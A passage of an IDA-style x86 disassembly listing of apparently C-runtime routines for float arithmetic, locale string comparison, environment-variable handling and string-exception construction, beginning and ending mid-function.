sub_4259E6+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_424E7C add esp, 0Ch test eax, eax jz short loc_425AED mov eax, [ebp+var_4] inc word ptr [eax] loc_425AED: ; CODE XREF: sub_4259E6+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425AC2 loc_425AFA: ; CODE XREF: sub_4259E6+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425AA6 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425B3D loc_425B18: ; CODE XREF: sub_4259E6+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425B36 lea eax, [ebp+var_24] push eax call sub_424EFB add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425B18 loc_425B36: ; CODE XREF: sub_4259E6+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425B76 loc_425B3D: ; CODE XREF: sub_4259E6+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425B76 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425B56: ; CODE XREF: sub_4259E6+184j test byte ptr [ebp+var_24], 1 jz short loc_425B5F inc [ebp+var_14] loc_425B5F: ; CODE XREF: sub_4259E6+174j lea eax, [ebp+var_24] push eax call sub_424F29 dec ebx pop ecx jnz short loc_425B56 cmp [ebp+var_14], 0 jz short loc_425B76 or byte ptr [ebp+var_24], 1 loc_425B76: ; CODE XREF: sub_4259E6+155j ; sub_4259E6+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425B8D mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425BC2 loc_425B8D: ; CODE XREF: sub_4259E6+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425BBF and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425BBA and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425BB4 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425BC2 ; --------------------------------------------------------------------------- loc_425BB4: ; CODE XREF: sub_4259E6+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425BC2 ; --------------------------------------------------------------------------- loc_425BBA: ; CODE XREF: sub_4259E6+1B5j inc [ebp+var_20+2] jmp short loc_425BC2 ; --------------------------------------------------------------------------- loc_425BBF: ; CODE XREF: sub_4259E6+1ABj inc [ebp+var_24+2] loc_425BC2: ; CODE XREF: sub_4259E6+1A5j ; sub_4259E6+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425BE6 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425BE0: ; CODE XREF: sub_4259E6+86j mov [esi+0Ah], ax jmp short loc_425C01 ; --------------------------------------------------------------------------- loc_425BE6: ; CODE XREF: sub_4259E6+42j ; sub_4259E6+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425C01: ; CODE XREF: sub_4259E6+ABj ; sub_4259E6+1FEj pop edi pop esi pop ebx leave retn sub_4259E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C06 proc near ; CODE XREF: sub_42501D+440p ; sub_4254EE+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_443038 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425C7F jge short loc_425C2E mov eax, [ebp+arg_4] mov ebx, offset dword_443198 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425C2E: ; CODE XREF: sub_425C06+16j cmp [ebp+arg_8], ecx jnz short loc_425C39 mov eax, [ebp+arg_0] mov [eax], cx loc_425C39: ; CODE XREF: sub_425C06+2Bj cmp [ebp+arg_4], ecx jz short loc_425C7F push esi push edi loc_425C40: ; CODE XREF: sub_425C06+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425C78 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425C6B lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425C6B: ; CODE XREF: sub_425C06+57j push esi push [ebp+arg_0] call sub_4259E6 pop ecx pop ecx xor ecx, ecx loc_425C78: ; CODE XREF: sub_425C06+49j cmp [ebp+arg_4], ecx jnz short loc_425C40 pop edi pop esi loc_425C7F: ; CODE XREF: sub_425C06+14j ; sub_425C06+36j pop ebx leave retn sub_425C06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C82 proc near ; CODE XREF: sub_4258F3+5Ep ; sub_426133+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425C8F xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425C8F: ; CODE XREF: sub_425C82+7j push dword_4E2944 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4E2B64 call sub_425D2F add esp, 1Ch test eax, eax jnz short loc_425CBC mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425CBC: ; CODE XREF: sub_425C82+31j add eax, 0FFFFFFFEh pop ebp retn sub_425C82 endp ; =============== S U B R O U T I N E ======================================= sub_425CC1 proc near ; CODE XREF: sub_4258F3+1Ep ; sub_425FAC+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4E1528 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425D22 mov ebx, dword_427180 loc_425CDA: ; CODE XREF: sub_425CC1+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; dword_427180 mov ebp, eax cmp ebp, edi jz short loc_425D2A push ebp call sub_41BBCB cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425D2A push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; dword_427180 test eax, eax jz short loc_425D2A push edi push [esp+18h+var_4] call sub_425FAC mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425CDA loc_425D22: ; CODE XREF: sub_425CC1+11j xor eax, eax loc_425D24: ; CODE XREF: sub_425CC1+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425D2A: ; CODE XREF: sub_425CC1+29j ; sub_425CC1+38j ... or eax, 0FFFFFFFFh jmp short loc_425D24 sub_425CC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D2F proc near ; CODE XREF: sub_425C82+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_51840FB8 = dword ptr 51840FC0h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CC8 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4E1800, ebx push 1 pop edi jnz short loc_425DA2 push edi mov eax, offset dword_427918 push eax push edi push eax push ebx push ebx call dword_427008 ; CompareStringW test eax, eax jz short loc_425D7F mov dword_4E1800, edi jmp short loc_425DA2 ; --------------------------------------------------------------------------- loc_425D7F: ; CODE XREF: sub_425D2F+46j push edi mov eax, offset dword_4D10A8 push eax push edi push eax push ebx push ebx call dword_42700C ; CompareStringA test eax, eax jz loc_425F98 mov dword_4E1800, 2 loc_425DA2: ; CODE XREF: sub_425D2F+31j ; sub_425D2F+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425DB9 push esi push [ebp+arg_8] call sub_422BDF pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425DB9: ; CODE XREF: sub_425D2F+78j cmp [ebp+arg_14], ebx jle short loc_425DCE push [ebp+arg_14] push [ebp+arg_10] call sub_422BDF pop ecx pop ecx mov [ebp+arg_14], eax loc_425DCE: ; CODE XREF: sub_425D2F+8Dj mov eax, dword_4E1800 cmp eax, 2 jnz short loc_425DF3 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42700C ; CompareStringA jmp loc_425F9A ; --------------------------------------------------------------------------- loc_425DF3: ; CODE XREF: sub_425D2F+A7j cmp eax, edi jnz loc_425F98 cmp [ebp+arg_18], ebx jnz short loc_425E08 mov eax, dword_4E15C0 mov [ebp+arg_18], eax loc_425E08: ; CODE XREF: sub_425D2F+CFj cmp esi, ebx jz short loc_425E15 cmp [ebp+arg_14], ebx jnz loc_425EAD loc_425E15: ; CODE XREF: sub_425D2F+DBj cmp esi, [ebp+arg_14] jnz short loc_425E22 loc_425E1A: ; CODE XREF: sub_425D2F+13Cj ; sub_425D2F+16Dj push 2 loc_425E1C: ; CODE XREF: sub_425D2F+146j pop eax jmp loc_425F9A ; --------------------------------------------------------------------------- loc_425E22: ; CODE XREF: sub_425D2F+E9j cmp [ebp+arg_14], edi jle short loc_425E2E loc_425E27: ; CODE XREF: sub_425D2F+151j ; sub_425D2F+159j ... mov eax, edi jmp loc_425F9A ; --------------------------------------------------------------------------- loc_425E2E: ; CODE XREF: sub_425D2F+F6j cmp esi, edi jg short loc_425E73 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call near ptr 0B40000h cmp [ebp+arg_51840FB8], eax add [eax], eax add [ebx], bh rep jle short loc_425E77 cmp [ebp+var_3C], 2 jb short loc_425E73 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425E73 loc_425E59: ; CODE XREF: sub_425D2F+142j mov dl, [eax+1] cmp dl, bl jz short loc_425E73 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_425E6D cmp cl, dl jbe short loc_425E1A loc_425E6D: ; CODE XREF: sub_425D2F+138j inc eax inc eax cmp [eax], bl jnz short loc_425E59 loc_425E73: ; CODE XREF: sub_425D2F+101j ; sub_425D2F+120j ... push 3 jmp short loc_425E1C ; --------------------------------------------------------------------------- loc_425E77: ; CODE XREF: sub_425D2F+119j cmp [ebp+arg_14], ebx jle short loc_425EAD cmp [ebp+var_3C], 2 jb short loc_425E27 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425E27 loc_425E8A: ; CODE XREF: sub_425D2F+177j mov dl, [eax+1] cmp dl, bl jz short loc_425E27 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_425EA2 cmp cl, dl jbe loc_425E1A loc_425EA2: ; CODE XREF: sub_425D2F+169j inc eax inc eax cmp [eax], bl jnz short loc_425E8A jmp loc_425E27 ; --------------------------------------------------------------------------- loc_425EAD: ; CODE XREF: sub_425D2F+E0j ; sub_425D2F+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call dword_427184 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_425F98 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_425EFC ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_425EFC: ; CODE XREF: sub_425D2F+1B5j cmp [ebp+var_24], ebx jz loc_425F98 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427184 call esi ; dword_427184 test eax, eax jz short loc_425F98 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; dword_427184 mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_425F98 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C1D0 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_425F67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_425F67: ; CODE XREF: sub_425D2F+224j cmp edi, ebx jz short loc_425F98 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call dword_427184 ; MultiByteToWideChar test eax, eax jz short loc_425F98 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_427008 ; CompareStringW jmp short loc_425F9A ; --------------------------------------------------------------------------- loc_425F98: ; CODE XREF: sub_425D2F+63j ; sub_425D2F+C6j ... xor eax, eax loc_425F9A: ; CODE XREF: sub_425D2F+BFj ; sub_425D2F+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425D2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425FAC proc near ; CODE XREF: sub_425CC1+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_426010 push 3Dh push [ebp+arg_0] call sub_4261F2 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_426010 cmp [ebp+arg_0], esi jz short loc_426010 mov eax, dword_4E1520 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4E1524 jnz short loc_425FF6 push eax call sub_42618B pop ecx mov dword_4E1520, eax loc_425FF6: ; CODE XREF: sub_425FAC+3Cj cmp eax, edi jnz short loc_42604E cmp [ebp+arg_4], edi jz short loc_426018 cmp dword_4E1528, edi jz short loc_426018 call sub_425CC1 test eax, eax jz short loc_42604E loc_426010: ; CODE XREF: sub_425FAC+Dj ; sub_425FAC+22j ... or eax, 0FFFFFFFFh loc_426013: ; CODE XREF: sub_425FAC+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426018: ; CODE XREF: sub_425FAC+51j ; sub_425FAC+59j cmp ebx, edi jnz loc_42612C push 4 call sub_41BBCB cmp eax, edi pop ecx mov dword_4E1520, eax jz short loc_426010 mov [eax], edi cmp dword_4E1528, edi jnz short loc_42604E push 4 call sub_41BBCB cmp eax, edi pop ecx mov dword_4E1528, eax jz short loc_426010 mov [eax], edi loc_42604E: ; CODE XREF: sub_425FAC+4Cj ; sub_425FAC+62j ... sub esi, [ebp+arg_0] mov edi, dword_4E1520 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426133 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4260AE cmp dword ptr [edi], 0 jz short loc_4260AE test ebx, ebx jz short loc_4260A6 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B961 pop ecx loc_426080: ; CODE XREF: sub_425FAC+E2j cmp dword ptr [edi], 0 jz short loc_426090 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_426080 ; --------------------------------------------------------------------------- loc_426090: ; CODE XREF: sub_425FAC+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41BA78 pop ecx test eax, eax pop ecx jz short loc_4260E0 jmp short loc_4260DB ; --------------------------------------------------------------------------- loc_4260A6: ; CODE XREF: sub_425FAC+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4260E0 ; --------------------------------------------------------------------------- loc_4260AE: ; CODE XREF: sub_425FAC+BDj ; sub_425FAC+C2j test ebx, ebx jnz short loc_42612C test esi, esi jge short loc_4260B8 neg esi loc_4260B8: ; CODE XREF: sub_425FAC+108j lea eax, ds:8[esi*4] push eax push edi call sub_41BA78 pop ecx test eax, eax pop ecx jz loc_426010 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4260DB: ; CODE XREF: sub_425FAC+F8j mov dword_4E1520, eax loc_4260E0: ; CODE XREF: sub_425FAC+F6j ; sub_425FAC+100j cmp [ebp+arg_4], 0 jz short loc_42612C push [ebp+arg_0] call sub_41B890 inc eax inc eax push eax call sub_41BBCB mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42612C push [ebp+arg_0] push esi call sub_41C550 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 0B40000h push ds push esi call sub_41B961 pop ecx loc_42612C: ; CODE XREF: sub_425FAC+6Ej ; sub_425FAC+104j ... xor eax, eax jmp loc_426013 sub_425FAC endp ; =============== S U B R O U T I N E ======================================= sub_426133 proc near ; CODE XREF: sub_425FAC+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4E1520 push edi mov eax, [esi] test eax, eax jz short loc_42616E mov edi, [esp+8+arg_4] loc_426145: ; CODE XREF: sub_426133+39j push edi push eax push [esp+10h+arg_0] call sub_425C82 add esp, 0Ch test eax, eax jnz short loc_426164 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42617E test al, al jz short loc_42617E loc_426164: ; CODE XREF: sub_426133+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426145 loc_42616E: ; CODE XREF: sub_426133+Cj mov eax, esi sub eax, dword_4E1520 sar eax, 2 neg eax loc_42617B: ; CODE XREF: sub_426133+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42617E: ; CODE XREF: sub_426133+2Bj ; sub_426133+2Fj mov eax, esi sub eax, dword_4E1520 sar eax, 2 jmp short loc_42617B sub_426133 endp ; =============== S U B R O U T I N E ======================================= sub_42618B proc near ; CODE XREF: sub_425FAC+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_42619A xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_42619A: ; CODE XREF: sub_42618B+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4261AC loc_4261A2: ; CODE XREF: sub_42618B+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4261A2 loc_4261AC: ; CODE XREF: sub_42618B+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41BBCB mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4261CD push 9 call sub_41E0F9 pop ecx loc_4261CD: ; CODE XREF: sub_42618B+38j mov eax, [edi] mov ebx, edi loc_4261D1: ; CODE XREF: sub_42618B+5Bj test eax, eax jz short loc_4261E8 push eax add ebx, 4 call sub_426265 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4261D1 ; --------------------------------------------------------------------------- loc_4261E8: ; CODE XREF: sub_42618B+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42618B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261F2 proc near ; CODE XREF: sub_425FAC+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4E295C, 0 jnz short loc_42620D push [ebp+arg_4] push [ebp+arg_0] call sub_41C650 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42620D: ; CODE XREF: sub_4261F2+Aj mov ecx, [ebp+arg_0] loc_426210: ; CODE XREF: sub_4261F2+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426253 movzx edx, al test byte_4E2A61[edx], 4 jz short loc_42623F mov dl, [ecx+1] inc ecx test dl, dl jz short loc_42624A movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42624E jmp short loc_426247 ; --------------------------------------------------------------------------- loc_42623F: ; CODE XREF: sub_4261F2+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426253 loc_426247: ; CODE XREF: sub_4261F2+4Bj inc ecx jmp short loc_426210 ; --------------------------------------------------------------------------- loc_42624A: ; CODE XREF: sub_4261F2+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42624E: ; CODE XREF: sub_4261F2+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426253: ; CODE XREF: sub_4261F2+25j ; sub_4261F2+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4261F2 endp ; =============== S U B R O U T I N E ======================================= sub_426265 proc near ; CODE XREF: sub_41869A+21p ; sub_42618B+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42628C push esi call sub_41B890 inc eax push eax call sub_41BBCB pop ecx test eax, eax pop ecx jz short loc_42628C push esi push eax call sub_41C550 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42628C: ; CODE XREF: sub_426265+7j ; sub_426265+1Aj xor eax, eax pop esi retn sub_426265 endp ; =============== S U B R O U T I N E ======================================= sub_426290 proc near ; CODE XREF: sub_40D3C6+15p ; sub_40D41F+15p ... mov eax, offset loc_426CC8 call sub_41D304 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40D5C9 mov esi, offset aStringTooLong ; "string too long" push esi call sub_41B890 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40D605 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4262EA lea eax, [ebp-3Ch] push offset dword_428058 push eax mov dword ptr [ebp-3Ch], offset off_427CE4 call sub_42676B pop esi sub_426290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262EA proc near ; CODE XREF: sub_426290+3Fp ; sub_4264BC+3Fp mov eax, offset loc_426CDC call sub_41D304 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_443398 call sub_426690 mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_40D5C9 push dword_427698 mov ecx, edi push 0 push ebx call sub_40D476 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D04 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_4262EA endp ; =============== S U B R O U T I N E ======================================= sub_42634E proc near ; DATA XREF: .nsp0:00427CE8o ; .nsp0:00427D08o ... mov eax, [ecx+10h] test eax, eax jnz short locret_42635A mov eax, offset dword_4276A8 locret_42635A: ; CODE XREF: sub_42634E+5j retn sub_42634E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42635B proc near ; DATA XREF: .nsp0:00427D0Co var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4263D1 lea eax, [ebp+var_1C] push offset dword_4280C8 push eax call sub_42676B sub_42635B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426378 proc near ; CODE XREF: .nsp0:004263B8p ; DATA XREF: .nsp0:004280CCo mov eax, offset loc_426CF0 call sub_41D304 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_427D04 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D5C9 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_426717 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_426378 endp ; --------------------------------------------------------------------------- loc_4263B5: ; DATA XREF: .nsp0:off_427D04o push esi mov esi, ecx call sub_426378 test byte ptr [esp+8], 1 jz short loc_4263CB push esi call sub_41D323 pop ecx loc_4263CB: ; CODE XREF: .nsp0:004263C2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4263D1 proc near ; CODE XREF: sub_42635B+Ap ; sub_4264A4+7p ... mov eax, offset loc_426D04 call sub_41D304 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_4266CD mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_40D5C9 push dword_427698 mov ecx, edi push 0 push ebx call sub_40D476 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D04 mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_4263D1 endp ; =============== S U B R O U T I N E ======================================= sub_42642E proc near ; CODE XREF: sub_42646B+20p ; DATA XREF: .nsp0:0042805Co mov eax, offset loc_426D18 call sub_41D304 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_427D04 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D5C9 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_426717 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_42642E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42646B proc near ; DATA XREF: .nsp0:00427CECo var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4264A4 lea eax, [ebp+var_1C] push offset dword_428058 push eax call sub_42676B loc_426488: ; DATA XREF: .nsp0:off_427CE4o push esi mov esi, ecx call sub_42642E test [esp+20h+var_18], 1 jz short loc_42649E push esi call sub_41D323 pop ecx loc_42649E: ; CODE XREF: sub_42646B+2Aj mov eax, esi pop esi retn 4 sub_42646B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4264A4 proc near ; CODE XREF: sub_42646B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4263D1 mov dword ptr [esi], offset off_427CE4 mov eax, esi pop esi retn 4 sub_4264A4 endp ; =============== S U B R O U T I N E ======================================= sub_4264BC proc near ; CODE XREF: sub_40D476+13p ; sub_40D63A+Ep mov eax, offset loc_426D2C call sub_41D304 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_40D5C9 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_41B890 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_40D605 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4262EA lea eax, [ebp-3Ch] push offset dword_428180 push eax mov dword ptr [ebp-3Ch], offset off_427D14 call sub_42676B pop esi sub_4264BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426516 proc near ; CODE XREF: sub_426553+20p ; DATA XREF: .nsp0:00428184o mov eax, offset loc_426D40 call sub_41D304 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_427D04 and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_40D5C9 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_426717 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_426516 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426553 proc near ; DATA XREF: .nsp0:00427D1Co var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_42658C lea eax, [ebp+var_1C] push offset dword_428180 push eax call sub_42676B loc_426570: ; DATA XREF: .nsp0:off_427D14o push esi mov esi, ecx call sub_426516 test [esp+20h+var_18], 1 jz short loc_426586 push esi call sub_41D323 pop ecx loc_426586: ; CODE XREF: sub_426553+2Aj mov eax, esi pop esi retn 4 sub_426553 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42658C proc near ; CODE XREF: sub_426553+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4263D1 mov dword ptr [esi], offset off_427D14 mov eax, esi pop esi retn 4 sub_42658C endp ; =============== S U B R O U T I N E ======================================= sub_4265A4 proc near ; DATA XREF: .nsp0:00429018o ; FUNCTION CHUNK AT 004265DA SIZE 0000000C BYTES test byte_4E180C, 1 jnz short loc_4265B4 or byte_4E180C, 1 loc_4265B4: ; CODE XREF: sub_4265A4+7j call sub_4265CE test 